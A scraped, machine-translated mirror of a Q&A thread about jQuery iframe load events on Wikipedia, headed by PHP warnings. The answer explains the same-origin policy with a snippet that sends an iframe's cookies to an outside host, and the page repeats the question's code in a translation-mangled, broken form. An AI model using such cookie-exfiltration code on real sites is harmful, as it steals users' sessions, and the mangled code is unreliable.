Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/422.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 事件“;“加载”;在iframe上成功触发,但iframe可以';不要成为目标_Javascript_Jquery_Events_Iframe_Nested - Fatal编程技术网

Javascript 事件“;“加载”;在iframe上成功触发,但iframe可以';不要成为目标

Javascript 事件“;“加载”;在iframe上成功触发,但iframe可以';不要成为目标,javascript,jquery,events,iframe,nested,Javascript,Jquery,Events,Iframe,Nested,我已经成功地创建了一段代码,它采用CSV数组,并通过IFRAME将文本放入Wikipedia的搜索栏,然后单击搜索按钮。不幸的是,在加载之后,我无法再以IFRAME的内容为目标。我还嵌套了两个加载事件处理程序,目的是等待每个页面完成加载 我在触发后将处理程序设置为unbind/off,这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间触发,同时更改目标ID,但不确定此时还需要尝试什么。我怀疑第二个事件处理程序在上一页触发,因为它已经触发就绪,但“附件”似乎按预期工

我已经成功地创建了一段代码,它采用CSV数组,并通过IFRAME将文本放入Wikipedia的搜索栏,然后单击搜索按钮。不幸的是,在加载之后,我无法再以IFRAME的内容为目标。我还嵌套了两个加载事件处理程序,目的是等待每个页面完成加载

我在触发后将处理程序设置为unbind/off,这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间触发,同时更改目标ID,但不确定此时还需要尝试什么。我怀疑第二个事件处理程序在上一页触发,因为它已经触发就绪,但“附件”似乎按预期工作

$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
    $("#iframeTarget").unbind();
    $("#iframeTarget").off();
    $("#iframeTarget").attr("id","iframeTarget2");

    $("#debugwindow").append("start interior of 1<br>");

    $("#iframeTarget2").on("load", function() {
        $("#iframeTarget2").unbind();
        $("#iframeTarget2").off();
        $("#iframeTarget2").attr("id","iframeTarget3");

        $("#debugwindow").append("start interior of 2<br>");

        $("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
        $("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
        // $("#iframecont").html("I ruin everything!"); // targets iframe container as test

        $("#debugwindow").append("end interior of 2<br>");
    });

    $(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
    $(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page

    $("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
$(“#调试窗口”).append(“pre
”); $(“#iframeTarget”)。在(“加载”,函数()上{ $(“#iframeTarget”).unbind(); $(“#iframeTarget”).off(); $(“iframeTarget”).attr(“id”,“iframeTarget2”); $(“#调试窗口”).append(“开始内部1
”); $(“#iframeTarget2”)。打开(“加载”,函数(){ $(“#iframeTarget2”).unbind(); $(“#iframeTarget2”).off(); $(“#iframeTarget2”).attr(“id”,“iframeTarget3”); $(“#调试窗口”).append(“启动2的内部
”); $(“#iframeTarget3”).contents().find(“#searchInput”).val(“我不工作?”);//3失败? $(“#iframeTarget,#iframeTarget2,#iframeTarget3”).html(“即使我什么都不做!”);//失败? //$(“#iframecont”).html(“我毁了一切!”;//将iframe容器作为测试目标 $(“#调试窗口”).append(“2的内部结束”); }); $(this).contents().find(#searchInput”).val(“3M”);//1成功填充搜索 $(this).contents().find(#searchButton”).trigger(“click”)//2成功触发按钮,将URL更改为3M页面 $(“#调试窗口”).append(“1的内部结束”); }); $(“#调试窗口”).append(“post
”);

寻找正确设置2个事件处理程序或我的逻辑是否错误的见解。理想情况下,我将能够填充搜索栏,触发搜索,然后在下一个加载的页面上操作DOM。

这是因为浏览器中存在安全问题。您将无法在javascript iframe中执行任何脚本,因为如果您能够在远程iframe中执行javascript代码,将面临极大的风险

例如:

<iframe src="http://website.to.hack"></iframe>

$(iframe).load(() => {
    $.ajax({
        url: 'http://my.website',
        data: iframe.document.cookie
    });
});

$(iframe).load(()=>{
$.ajax({
网址:'http://my.website',
数据:iframe.document.cookie
});
});
现在我有了你在那个网站上的所有cookie。除非该框架在站点和它之间具有特定的信任关系,否则您将无法编写脚本。(您可能需要一个chrome扩展)


有关更多信息,请参阅和线程。

Ah,我意识到我没有包含x-frame-bypass,这允许进行第一次操作,但实际上是在单击时加载一个新的iframe src。我将需要获取URL和重新渲染X-FrAM-Access iFrAME与新URL或考虑另一种方法。谢谢